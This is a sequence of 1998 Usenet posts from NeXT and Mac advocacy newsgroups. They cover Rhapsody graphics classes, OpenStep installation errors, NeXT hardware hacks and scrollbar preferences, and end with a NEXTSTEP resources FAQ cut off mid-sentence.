References: <199801202218001457904@ppp8.hol.fr> <34CF6517.1B6E@nstar.net> <6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <B14737A9-B5723@206.165.43.177> <slrn6i6bot.j6l.sal@panix3.panix.com> <B1488FCF-4D423@206.165.43.158> <6g0au4$3a8$1@ns3.vrx.net> <B14950AB-30914@206.165.43.94> <6g0gvb$3a8$11@ns3.vrx.net> <B1497FDF-3099F@206.165.43.12>
Lawson English <english@primenet.com> wrote:
> Most graphics apps need to be able to provide at least some text services.
> Certainly, Freehand and Illustrator provide some.
Guess what plaform Altsys (resold by Aldus) Freehand was ported to the
Mac from?
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 4 Apr 1998 19:15:11 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <1d6ypom.15zt3iv167fzdaN@phoenix89.wco.com>
References: <34CF6517.1B6E@nstar.net> <6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <B14737A9-B5723@206.165.43.177> <slrn6i6bot.j6l.sal@panix3.panix.com> <B1488FCF-4D423@206.165.43.158> <6g0au4$3a8$1@ns3.vrx.net> <B14950AB-30914@206.165.43.94> <6g0gvb$3a8$11@ns3.vrx.net> <B1497FDF-3099F@206.165.43.12> <6g2178$gki2@odie.mcleod.net> <B149F497-71541@206.165.43.119>
Lawson English <english@primenet.com> wrote:
> But these aren't coherent yet. There's no system-wide OOP graphics
> standard.
That turns out not to be the case.
> There's no universally accepted equivalent of a GX picture shape.
And GX picture shapes are universally accepted?
Refer to the NSImage class hierarchy.
> You guys use EPS graphics as your standard. Try defining an interactive
> dialog box using EPS.
Why? There's already a stock, easily customised object for doing
dialogues. NSPanel subclasses cover these, including modal alerts,
floating panels,and similar wonky things.
> I want to swap a rectangular button for a circular
> one. Right now, you'd have to apply some kind of new programming object.
> Why? Why not use a new graphical object to define the frame of the button,
> instead?
Subclass NSButton, and override the drawing routine to use whatever you
want. It's totally wide open. Write a NSButton subclass once that uses
your GX shape, put it on a palette, and resell it. Hey, fame and
fortune!
> Why not? There's no accepted way to do this because there's no
> well-defined graphical standard above the DPS level. NSText, NSBezier,
> NSetc are a start, but where's the equivalent of a GX picture shape that
> all applications and controls and so on can refer to?
NSImage. Bitmaps, vector graphics, PICT files, and whatnot all are
represented here. Write a NSImageRep for a GX shape, stick it on a
palette, and they'll al work too. You can have this product idea for
free, too. Go for it. Make Money Fast!!!
> I mean, Rhapsody
> graphics obviously has far more potential than GX graphics ever did, but
> right now, GX exists. Rhaposdy graphics is a bunch of quasi-related classes
> with no real coherence. Or at least I haven't heard anyone claim that
> there's coherence in the sense that GX or Taligent has.
What a crock. Clueless, all talk and no action. Blah, blah, GX, blah,
blah. Get off your duff and show us what a studly ace graphics
programmer you are. Do a good enough job, and I might hire you. (Then
again, I'd rather hire someone who doesn't spend working time on
USENET...)
I've got an opening for a Senior Engineer/Scientist III to work on the
most awesomely cool graphics and windowing system ever concieved (he
said modestly). Any of you think you're up for it?
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: help!
Date: 5 Apr 1998 04:24:07 GMT
Message-ID: <01bc4241$d5c69500$22f0bfa8@davidsul>
Openstep 4.2 is simply a bitch to install for me. People have suggested
that I use a slower cd because openstep doesnt like panasonic 24x cd's.
The only other cd I have is a sony 2x2 cdr with a tekram dc 310 scsi
adapter. I have no idea which driver to use with this?
This is a partial list of the symptoms of the problem with the panasonic
and possibly the western digital hard drive as well:
hc0 : lba supported
hc0 drive 0 pio mode 4
hc0: drive 1: pio mode 3
registering hc0
hd0 wdc ac34300l 10.08mil
hd0 : 8896 cylinders, 15 heads, 63 spt (disk geometry)
hd0: using multisector (16) transfers.
registering: hd0
hd0: no valid disk label // their is only 1 partition, and its labeled
hd0: device block size 512 bytes
hd0: device capacity 4104 mb //(free space is at beginning)
idedisk disk 1 is atapi
hc1: pIIx4 pci ide controller at dev 7 func 1 bus 0
hc1 pci bus master dma disabled
hc1 no devices detected at port 0x170
registering sc0
sd0 matshita cd rom cr 585 zs18
registering sd0 at target 1 lun 0 at sco
sd0 waiting for drive to come ready
sd0 device block size 2048 bytes
sd0 device capacity: 488 mb
sd0 disk label openstep_4.2
registering< sgo -sg3 at sc0>
root o sd0
rootdev 600, howto 0
power management is enabled.
sd0 : no error to report; retrying
target 1 lun 0 op read block 226576
<same>
io error on pagein(breadDirect)
sd0 media error retrying
target: 1 lun 0 op read block 226576
io error on pagein (breadDirect
Root device is mounted read-only
filesystem check skipped
sd0: media error retrying
target 1 lun 0 op read block 226576
<continued with this error and io error on pagein (breaddirect)
/preicate/etc/rc.cdrom: illegal instruction
also has sd0: no error to report; fatal.
target 1 lun 0 op read block 226640 blockcount: 4
after long list of this it gets to
the startup disk in this computer is
ide disk #1 (type 255 - 4104 mb
installing causes more of the same errors, these repeat infinitely
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Help!!
Date: 5 Apr 1998 04:29:09 GMT
Message-ID: <01bc4242$89efcc40$22f0bfa8@davidsul>
Installing openstep 4.2 is a huge pain! It has been suggested that I use a
slower cd because os does not like panasonic 24 x cdroms. The only other
cd I have is a sony 2x2 cdr (cd burner) with a tekram dc 310 scsi adapter.
I have no idea what driver to use with this?????
These are the sysptoms of the problem with the panasonic (and possibly the
western digital drive as well??)
hc0 : lba supported
hc0 drive 0 pio mode 4
hc0: drive 1: pio mode 3
registering hc0
hd0 wdc ac34300l 10.08mil
hd0 : 8896 cylinders, 15 heads, 63 spt (disk geometry)
hd0: using multisector (16) transfers.
registering: hd0
hd0: no valid disk label // their is only 1 partition, and its labeled
hd0: device block size 512 bytes
hd0: device capacity 4104 mb //(free space is at beginning)
idedisk disk 1 is atapi
hc1: pIIx4 pci ide controller at dev 7 func 1 bus 0
hc1 pci bus master dma disabled
hc1 no devices detected at port 0x170
registering sc0
sd0 matshita cd rom cr 585 zs18
registering sd0 at target 1 lun 0 at sco
sd0 waiting for drive to come ready
sd0 device block size 2048 bytes
sd0 device capacity: 488 mb
sd0 disk label openstep_4.2
registering< sgo -sg3 at sc0>
root o sd0
rootdev 600, howto 0
power management is enabled.
sd0 : no error to report; retrying
target 1 lun 0 op read block 226576
<same>
io error on pagein(breadDirect)
sd0 media error retrying
target: 1 lun 0 op read block 226576
io error on pagein (breadDirect
Root device is mounted read-only
filesystem check skipped
sd0: media error retrying
target 1 lun 0 op read block 226576
<continued with this error and io error on pagein (breaddirect)
/preicate/etc/rc.cdrom: illegal instruction
also has sd0: no error to report; fatal.
target 1 lun 0 op read block 226640 blockcount: 4
after long list of this it gets to
the startup disk in this computer is
ide disk #1 (type 255 - 4104 mb
installing causes more of the same errors, these repeat infinitely
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Openstep 4.2 and sony cdr
Date: 5 Apr 1998 01:42:33 GMT
Message-ID: <01bc422b$44153a00$26f0bfa8@davidsul>
I am trying to install Openstep 4.2 with a primary master = western digital
4 gig
primary master = panasonic 24 x atapi drive (matshita 585)
This does not work (see bellow), and people have suggested to try a slower
speed cd. I only have one other cd (anyone in santa barbara want to lend
me one?), which is a sony cdr 2x2. The scsi card is a tekram dc310 fast
scsi 2 adapter.
I do not know which driver to use to install openstep with this external
cdr, instead of installing from the internal 24x panasonic which is having
problems.
Bellow is a partial log using the 3-24-98 updated driver disk from apple:
hc0 : lba supported
hc0 drive 0 pio mode 4
hc0: drive 1: pio mode 3
registering hc0
hd0 wdc ac34300l 10.08mil
hd0 : 8896 cylinders, 15 heads, 63 spt (disk geometry)
hd0: using multisector (16) transfers.
registering: hd0
hd0: no valid disk label // their is only 1 partition, and its labeled
hd0: device block size 512 bytes
hd0: device capacity 4104 mb //(free space is at beginning)
idedisk disk 1 is atapi
hc1: pIIx4 pci ide controller at dev 7 func 1 bus 0
hc1 pci bus master dma disabled
hc1 no devices detected at port 0x170
registering sc0
sd0 matshita cd rom cr 585 zs18
registering sd0 at target 1 lun 0 at sco
sd0 waiting for drive to come ready
sd0 device block size 2048 bytes
sd0 device capacity: 488 mb
sd0 disk label openstep_4.2
registering< sgo -sg3 at sc0>
root o sd0
rootdev 600, howto 0
power management is enabled.
sd0 : no error to report; retrying
target 1 lun 0 op read block 226576
<same>
io error on pagein(breadDirect)
sd0 media error retrying
target: 1 lun 0 op read block 226576
io error on pagein (breadDirect
Root device is mounted read-only
filesystem check skipped
sd0: media error retrying
target 1 lun 0 op read block 226576
<continued with this error and io error on pagein (breaddirect)
/preicate/etc/rc.cdrom: illegal instruction
also has sd0: no error to report; fatal.
target 1 lun 0 op read block 226640 blockcount: 4
after long list of this it gets to
the startup disk in this computer is
ide disk #1 (type 255 - 4104 mb
installing causes more of the same errors, these repeat infinitely
From: ppai@soback.kornet.nm.kr
Newsgroups: comp.sys.next.advocacy
Subject: Re: [photo] PCI slot-cable
Date: 5 Apr 1998 05:43:12 GMT
Organization: Korea Telecom
Message-ID: <6g75lg$iu$1@news.kornet.nm.kr>
References: <6g2o1f$ev5$4@news.kornet.nm.kr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ppai@soback.kornet.nm.kr
>We will use small PC power supply which is case off instead original NeXT
one.
>To connect PCI slots and Graphic card or SCSI or Ethernet card, We orderd
>special PCI slot-cables.
>That NeXTstationPC consisted with Millenium, 64MB RAM, EIDE HDD,
>Pentium 200Mhz CPU, AT type Pentium motherboard(small cubic size),
>PC power supply(case off), serial, parallel, mouse, keyboard port.and
>special PCI slot-cables.
Here is the photo of PCI slot-cable. The one is $50:
ftp://pixie.kaist.ac.kr/pub/images/etc/PCI-slot-cable_1.jpg
ftp://pixie.kaist.ac.kr/pub/images/etc/PCI-slot-cable_2.jpg
ftp://pixie.kaist.ac.kr/pub/images/etc/NeXTpc_CaseChange_slot-cable.gif
Comming next week, I going to make my NeXTstationPC. ^-^
younghoon KIL from South Korea.
ppai@soback.kornet.nm.kr (NeXTMail OK)
http://soback.kornet.nm.kr/~ppai ("ppai News": Q&A and Discussion Board)
http://bbs.para.co.kr/~ppai ("ppai News2": News Board)
(The Web site contains 7,500 articles about NEXTSTEP, OPENSTEP, Rhapsody,
Digital Entertainment and BeOS)
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6fu7sn$6sj$303@news.tm.net.my>
Control: cancel <6fu7sn$6sj$303@news.tm.net.my>
Date: 01 Apr 1998 20:53:47 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6fu7sn$6sj$303@news.tm.net.my>
Sender: Ted Bilmer<ted@biosys.net>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Sender: khuber@bambi.visi.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <350ce48e.0@maser.urz.unibas.ch> <6eirc9$54j$4@ns3.vrx.net> <350D7C4F.D69@convex.hp.com> <6ejfi1$jst$3@ns3.vrx.net> <350DCA12.2722@convex.hp.com> <slrn6grv2b.hto.sal@panix3.panix.com> <350E4078.D8B6B744@nstar.net> <slrn6gt9te.r9f.sal@panix3.panix.com> <350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu>
From: Kevin Huber <khuber@yuck.net>
Message-ID: <uj2yaxk6921.fsf@bambi.visi.com>
Date: Sun, 05 Apr 1998 07:07:18 GMT
NNTP-Posting-Date: Sun, 05 Apr 1998 01:07:18 CST
I may be kind of masochistic, but I kind of like the xterm scrollbar.
I have a three-button mouse though which makes it a little easier.
For the uninitiated:
left button: page down
middle button: drag the scrollbar thumb or jump thumb to cursor
right button: page up
it's on the left side of the window
You don't need special page up/page down arrows because that's what
the left and right mouse buttons do, regardless of the location
of the cursor in the scrollbar.
When I use a "normal" Motif/Win 95/etc. scrollbar, I never use the
end arrows to page up/page down. I use the keyboard page up/down.
I'm not much of a scrollbar stickler, as long as they are proportional
and bear no resemblence to OpenLook ;-).
-Kevin
"Matt" == Matt Kennel <mbkennel@yahoo.com> writes:
Matt> THe very first day I ever used xterm sometime in 86 or 87 I
Matt> thought "gee what a totally screwed up scrollbar." But of
Matt> course I never imagined that it would STILL BE LIKE THAT more
Matt> then a decade later.
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 23:39:27 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g6gbf$atu$6@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <6fnerp$er$1@news.idiom.com> <6fvb9d$6th$4@quasar.dimensional.com> <6g0flk$k6c$4@anvil.BLaCKSMITH.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6g0flk$k6c$4@anvil.BLaCKSMITH.com> , Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>>> So double-click on Terminal.app. Or, type "console" into the login
>>> window. The loginwindow program will exit, and you'll see a scrolling
>>> text buffer. Hit return, and you'll get the usual UNIX login: prompt.
>>
>> No no no no... I can run Bash on NT! That means nothing. What you need
>> is a system where you can install using character mode only, not install
>> any graphics anything, and use the whole damn thing (besides your
>> graphics-specific programs like Photoshop/Gimp, ect) from a vt100.
> Fine. Here's an except from /etc/ttys:
> # If you do not want to start the window server by default, you can
> # uncomment the first entry and comment out the second.
> #
> # console "/usr/etc/getty std.9600" NeXT on secure
> console /usr/lib/NextStep/loginwindow NeXT on secure
> window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600"
> You want a character-mode only environment, you can get one.
I know... I would hope, too, (don't really know one way or another...) that
you can use everything from a character mode too.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
Date: Sat, 04 Apr 1998 17:46:04 -0600
Organization: Inc.Net http://www.inc.net
Message-ID: <3526C63C.E0766D4@milestonerdl.com>
References: <351FC022.671D4C36@milestonerdl.com> <6fp44h$mbc$6@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
mmalcolm crawford wrote:
> In <351FC022.671D4C36@milestonerdl.com> M Rassbach wrote:
> There's no real way to argue this one; you have your beliefs, I have mine.
> You clearly want to spread FUD about Rhapsody, I believe it will be delivered
> substantially as promised. We'll just have to wait and see.
Does FUD mean Facts about the Uncertainty and Doubt?
> > Apple has not given a compelling reason to move to Yellow Box.
> >
> They have; they have stated that YellowBox will be their API of the future.
But what future? So far, it's MacOS.
The only public direction from Apple is that the survival of the MacOS is No. 1.
What does that mean for Intel, Solaris, HP-UX, or any other platforms which
Yellow Box may run on? Icing on the cake would be support for X86Open. Their is
much uncertainty and doubt about Apple computer and its directions. I only hope
this is all clear up at the WWDC, but somehow I doubt it will be.
> > Take into account the Nextstep
> > to openstep conversion problems noted in newsgroups.
> >
> What on earth has this to do with anything?!
This is relevant with migrations of NT4.x/95 to NT 5.0/98... and if you use it as
a predictor of the future.
> You're confusing Rhapsody and YellowBox, they are not the same thing.
Perhaps this is one thing Apple needs to work on is some clarity?
> In the absence of a commitment to NT5/Win98, Rhapsody is *very* useful.
> In the absence of a commitment to NT5/Win98, YellowBox is still very useful,
> as it enables us to write MacOS apps, and apps for NT4 and Win95.
But how useful is it in the long-term? The long-term is NT5.0/98 for the
majority of developers. It would be nice if one could write for
NT5.0/98/whatever is the 50%+ market shareholder, and as a bonus get another say
10-20% for little or no additional effort. The 50%+ +10-20% is the potential
promise of Yellow Box, but the only commitment to date is MacOS.
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 04 Apr 1998 22:33:39 -0500
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0404982233400001@mv191.axom.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de>
In article <6g6jrc$9j9$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
>Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> writes:
>
>[...]
>>> RTF is a Microsoft standard. Again, NeXT picked something that was
>>> available, even if it came from the evil empire.
>
>>Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
>
>What alternative rich text format would you have chosen?
Esp. given when NeXT made the choice. Now Apple's added html as another
rich text format to the text engine.
It would be nice to have sgml support, then html would be a specific
subset of that. Still, I don't see it as that big of a problem. It'll be
less so if XML support starts to appear in subsequent releases. XML could
be a big help for an html based help engine, esp when coupled with V-TWIN.
--
Ted Brown tbrown@netset.com
From: elmsg@cts.com (Elmer Garcia)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Adobe dropping DPS rumor (Lawson?)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 5 Apr 1998 04:04:05 GMT
Organization: CTS Network Services (CTSNET), San Diego, CA
Message-ID: <891749159.333201@optional.cts.com>
References: <6fa43j$12b27@odie.mcleod.net> <B13E3F65-26667@206.165.43.143> <6fo9mh$mbc$2@ironhorse.plsys.co.uk>
Cache-Post-Path: optional.cts.com!elmsg@crash-i2.cts.com
mmalcolm crawford (malcolm@plsys.co.uk) wrote:
: In <B13E3F65-26667@206.165.43.143> "Lawson English" wrote:
: > > >For instance, how do you make a color wheel that handles all the color
: > > >spaces that a DTP professional might want to deal with? Must every
: > > >application "roll their own" or should you provide services that handle
: > > >this for them?
: > > Have you used the standard color panel in Openstep or Rhapsody ?
: >
: > But that's a class library, not a set of raw DPS calls and it was provided
: > by NeXT, not Adobe.
: >
: Umm, you asked "How do you make a color wheel that handles all the color
: spaces that a DTP professional might want to deal with?"
: The OPENSTEP Color Panel does just that. I can't see why you'd want to do it
: as raw DPS calls...?
: Best wishes,
: mmalc.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <22277891147627@digifix.com>
Date: 5 Apr 1998 04:50:32 GMT
Organization: Digital Fix Development
Message-ID: <25462891752418@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
